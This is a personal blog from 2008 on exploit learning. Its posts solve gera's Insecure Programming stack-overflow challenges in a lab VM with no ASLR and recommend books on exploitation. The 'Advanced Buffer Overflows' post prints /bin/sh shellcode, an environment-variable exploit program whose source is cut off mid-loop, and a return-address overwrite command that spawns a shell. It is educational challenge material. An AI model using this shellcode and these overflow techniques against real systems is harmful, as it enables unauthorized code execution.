7/11/2008

Advanced Buffer Overflows, Take #1

Welcome back. Today we will make another step ahead in the path gera set up some time ago. Today's topic will be the first challenge of the ADVANCED BUFFER OVERFLOWS section, but don't let the name scare you away; this is a simple one once the general theory is in place. I'm not going to go trought all the architectural knowledge you need to know in order to understand the situation, I'll assume you got that somewhere else. Without further delay, let's begin.

This how the C source looks like:

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}

The function takes an argument from the command line and copies it to a buffer in the stack without any kind of sanitization checks. Hence, the programming error is clear: We can write data in the stack past the buffer boundaries as with any conventional buffer overflow.

Now, we can take too diferents approaches while exploiting this error after overwriting the ret value from the stack. The first approach would be to place the shellcode in the buffer itself, sensible solution since the stack is pretty large to fit a linux shellcode (256 bytes). However a issue rises up if we follow this path; We can't hardcode our bogus return address because we don't know the address of the buffer till runtime. This would force us to make Position Independent Code (PIC) as explained in the famous article by aleph1 "Smashing the Stack for Fun and Profit".

Therefore, in this article we'll follow the alternative path pioneered by Murat in his "Buffer Overflows Demystified". We will place the shellcode in a environment variable and then point the ret value there. The ease in this approach comes from the fact that every time a linux executable goes live, the memory layout has certain constant addresses (unless we use any kind of randomization patch) that will help us. In our particular case, the environment variables begin in the highest memory addresses right after 0xbffffffa.

Once having understood the breafing, let's move into more practical ground. In my case I'll use the COLORTERM variable which by default has no value in my SuSE 9.3 VM. First of all, I'll use a little C program (abo1exp.c) to build our "evil-buffer" and export it to the aforementioned environment var (the template is taken from Shellcoder's Handbook code):
#include

#define BUFFSIZE 256
#define NOP 0x90

char sc[] =

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char *argv[]){
char *buff, *ptr;
int bsize=BUFFSIZE,i;

if(!(buff = malloc(bsize))){
printf("Can't allocate memory.\n");
exit(0);
}

ptr = buff;

for(i=0;i< colorterm=",10); putenv(buff); system(">


Now all we have left to know is which address our environment variable holds so we can inject it from the command line causing a overflow. For this purpose, I first ran the program inside gdb and took a look at the memory space surrounding 0xbffffffa:

(gdb) x/20x 0xbfffff40
0xbfffff40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff80: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)



Since we're using a NOP pad to increase our chances of success, we don't need to know the exact address but just a close one. In my case 0xbfffff40 turned out to be a successfull choice. So, a this point all that's left is to call abo1 after building the environment var using our friend python to cause the overflow. I should note that I used 268 as junk size because after several brute-force tests we managed to overwrite the ret value when we used 272 characters, therefore 272 - 4(size of word) = 268:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo1 `python -c 'print "A"*268+"\x40\xff\xff\xbf"'`
sh-3.00$


So this was it. I tried to make the exploit work in some automated way instead of having to make a customized call everytime with python, but after the fifth failure I just gave up :). For the upcoming articles I'll try to keep bringing more solutions for these challenges because they seem to cover almost every kind of exploitation technique used nowadays. In the meantime...keep adding NOPs!

6/25/2008

WARMING UP on STACK - Part II

Last time we worked on the first three levels of the WARMING UP on STACK section of gera's exploit challenge, today we'll clear the remaining two. Both will be covered as a single solution since they only differ in the output message after succeeding. As we mentioned, the path to the solution is a little bit different than the other levels. Last time all we had to do is overflow our buffer until we reached the cookie value. This time rather than changing a local variable's value, we will change the execution flow of our program.

For this to be possible, we need a refresher on what role the stack plays in the proper flow of a program. From a C language point of view each time we call a function a couple of mandatory proceedings happen within the stack. First, when the assembly instruction call is executed, the current value of the eip register gets pushed into the stack (which grows towards lower memory addresses) so that when the function finishes we can get back to where we were executing instructions. Next, we save the current ebp register value in the stack and set the current esp value as ebp to have a consistent placeholder value from where to retrieve local variables and function parameters. To summarize, this is what a x86 assembly stack frame setup would look like:

Random program calls function X():
...
...
call to function X ----------------------> call X
this is where execution will return
after X() does his job -----------------> ...

and after the call we land in X:

first, save current EBP --------------> push ebp
then, update EBP ---------------------> mov esp, ebp
...

This figures might change depending on architecture and syntax, but I think the general idea should be clear for now :-). Now moving on, the saved ebp and ret values (the saved eip value, called ret from now on) are stored on the stack AFTER our buffer. At this point the path seems a little more obvious, why not overrun the stack and change our ret value so instead of returning to the callee (the program that called it), return to the "you win!" path inside the if statement?

First we need to figure out how much we need to overwrite to get to the ret value. If we recall from the previous levels, at the time we used 92bytes plus the value we wanted the cookie to have. If we take a look at the stack layout from the previous sessions and the theory we just reviewed, the ret value should be right after the saved ebp that we have already identified:


With a little math we can see the ret value (shown in green), is 16 bytes ahead of the cookie, so; 92 + cookie(4bytes) + 16 = 112bytes. Let's try that much and see what happens:
As you can see from the Core Dump (use "$ulimit -c unlimited" if you're not getting dumps) we smashed the return value with 0x41414141 which is the hex value of the A character's we used. Therefore, all we need now is to write 108+the ret value we want in the buffer. If we read the disassemble we can use the value of the path is taken had the if comparison be true, 0x08048438. I want to stress at this point that hardcoding this kind of addresses is just possible because we are using a unpatched version of linux without ASLR and other protection measures. Keeping in my the endianness and using a similar command line setup of the previous sessions, we can bypass the cookie comparison again:

A smart reader might have noticed that althought we get the win and loose messages confirming our success, we get a segmentation fault each time. This happens because althought our ret overwriting succeeded, we also smashed the ebp value which gets pop'd when the functions ends. This corrupted value is needed by the callee and other functions and these fail if the value doesn't have a proper meaning, which after filling with A's doesn't. I tried to find a workaround and tested several values from values in various execution situations but a the pushes and pops of the values from the printf parameters seems to screw up my calculations.

Hope anybody got a more elegant solution than mine and posts it as a comment or anywhere else, but for the purpose I think this is enough. This article finishes the WARMING UP on STACK section, in the future I will try to continue with the rest of the sections but I don't promise anything at this point :-) Thanks for reading if you got up to this point!

6/24/2008

WARMING UP on STACK - Part I

In our last post we talked about a challenge set up by gera from Core Security. Since these challenges make up a good training ground for further real world exploit situations I decided to give a shot at them now that my schedule got a little softer.

We will start from the ground up and cover levels #1 to #3 from the "Warming up on Stack" section which, as the name implies, are just a warmup. To get the job done, we needed a linux distribution that doesn't include any security filters such as ASLR or Non-executable stack or the PaX patch; in my case, I chose to use SUSE 9.3 inside a virtual machine. Completenting our toolset we will use the usual set; gdb, python and a terminal (Hello, Konsole :-).

First, let's take a look at the challenges source code:
int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}
Nothing strange in here, a simple C program that uses libc's very own gets() function to receive some input from stdin. If we take a look at the disassembled code we notice that all it takes to get into the good-boy is to succeed in the hardcoded comparison against the 0x41424344 cookie, no news after the C source. So let's setup a breakpoint at the comparison and take a look at the stack layout.


Once we hit the breakpoint we analyze the stack:


This is where the fun begins. You can see where our garbage A's begin and where our cookie and ebp are so, all that's left is a little hex math. ebp is at 0xbffff118, the cookie at 0xbffff10c and our buffer starts at 0xbffff0b0, thats 92 bytes from our buffer till the cookie(which at the same time is 12 bytes minus ebp, as the cmp instruction shows). Therefore we have all we need, the offset and the value of the cookie. All that's left to do is just injecting those values in our buffer, and that's were python comes to play. We can build our string with python and then pipe the result to our program like this:


The first three levels covered in this post are just little variants of each other where the only difference is the value of the cookie. This is no match for python which handles hex values just as fine, congratulating us with a gentle "you win!".

Now this is it for today, The 4th and 5th levels are a bit different because they deal with carriage return and new line values in the cookie (0x0d and 0x0a, respectively) and thus, require a different approach. I hope you enjoyed this as much as I did solving them. Keep adding NOPs! :-)

5/25/2008

0x00: Genesis

There's a gap between people who enjoy computers and people who adore computers. A gap between people who use them and people who are fanatic of them. Accidentally or not I happened to fall in the last group. I just can't deny it, I belong to this. I belong to this and even thought I can't understand how or why this started, I know I got here. Some say curiosity got us here; I don't know, sounds sensible.

Anyhow, matter of the fact is we need to keep exploring, digging, wandering and meandering around to feed our thirst. Some people called this new breed of explorers hackers, what a curious word this is...Enemy of some, idols of many. So many definitions of this term make me avoid it's usage. Sharing is perhaps one of the defining factors of today's internet, as such, I'll make this little site my new home. People that already know me know that I'm not a big fan of nowadays so called "web 2.0" explosion, content is good as long as it's quality is great; putting shit in large piles won't change its filthy origin.

I'm a terrible person regarding my archiving capabilities, I get bored enough of things once I understand them that I don't bother to save them for future ocasions. Perhaps publishing all my ramblings in this format might make them last a little longer. The purpose of this blog is dual: In one hand it'll help to feel the void in my archive. In the other hand, since I'm quite a beginner in the areas this site will hopefully follow in the future, might be useful for anybody else coming along. Of course, any comments are welcome as long as they're well intended.

Whatever the reason that brought us here is, I'll kick off this Genesis with a couple of what I feel are *MUST* for vulnerability research and exploit development. Among these references I include a couple of books that enlightened my way and some exploitme-like challenges to get your kicks.

Books:
  • The Art of Exploitation by Jon Erickson.
  • Shellcoder's Handbook by Chris Anley, John Heasman, Felix Linder and Gerardo Richarte.
Links:
Challenges:
  • gera's Insecure Programming page. LINK
That's it for today, keep feeding yourselves with more NOPs!